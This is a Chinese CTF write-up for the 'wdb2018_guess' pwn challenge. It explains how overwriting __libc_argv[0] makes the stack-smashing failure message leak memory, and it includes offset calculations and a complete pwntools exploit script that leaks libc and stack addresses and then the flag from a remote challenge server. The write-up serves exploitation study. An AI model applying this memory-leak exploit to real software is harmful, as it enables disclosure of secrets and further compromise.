wdb2018_guess

这道题记录一下绕过canary的一种方法:stack smash

关于canary的一些绕过姿势可参考 http://www.hackdig.com/12/hack-568509.htm

Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)

程序开了canary保护后,如果我们的输入覆盖了 canary ,程序就会报错

程序会执行 __stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称)

1

那么想一下如果我们把libc_argv[0]指向的字符串覆盖成我们想要泄露的地址,就能泄露相关内容

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

计算__libc_argv[0]的偏移

2

我们把断点设置在gets处,我们接下来要输入的地方就是0x7fffffffddb0也就是rbp-0x40的位置 __libc_argv[0]的位置是0x7fffffffded8

0x7fffffffded8-0x7fffffffddb0 = 0x128

覆盖地址泄露libc

1
2
3
4
5
6
7
payload='a'*0x128 + p64(puts_got)
io.recvuntil('Please type your guessing flag')
io.sendline(payload)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']

计算enviorn地址,获得栈地址

enviorn 是环境变量表,里面包含栈地址

1
2
3
4
5
6
7
8
9
environ_addr = libc_base + libc.sym['__environ']
print(hex(environ_addr))

payload='a'*0x128 + p64(environ_addr)
io.recvuntil('Please type your guessing flag')
io.sendline(payload)

io.recvuntil('stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8,'\x00'))

计算flag相对栈的位置

3

0x7ffeeadb4808-0x7ffeeadb46a0=0x168

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io = remote('node4.buuoj.cn',28496)
#io = process('./GUESS')
elf = ELF('./GUESS')
puts_got = elf.got['puts']
libc = ELF('./libc-2.23_64.so')


payload0='a'*0x128 + p64(puts_got)
io.recvuntil('Please type your guessing flag')
io.sendline(payload0)
io.recvuntil('stack smashing detected ***: ')
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']

environ_addr = libc_base + libc.sym['__environ']
print(hex(environ_addr))

payload1='a'*0x128 + p64(environ_addr)
io.recvuntil('Please type your guessing flag')
io.sendline(payload1)

io.recvuntil('stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8,'\x00'))


flag_addr = stack_addr - 0x168
payload2='a'*0x128 + p64(flag_addr)
io.recvuntil('Please type your guessing flag')
io.sendline(payload2)



io.interactive()

4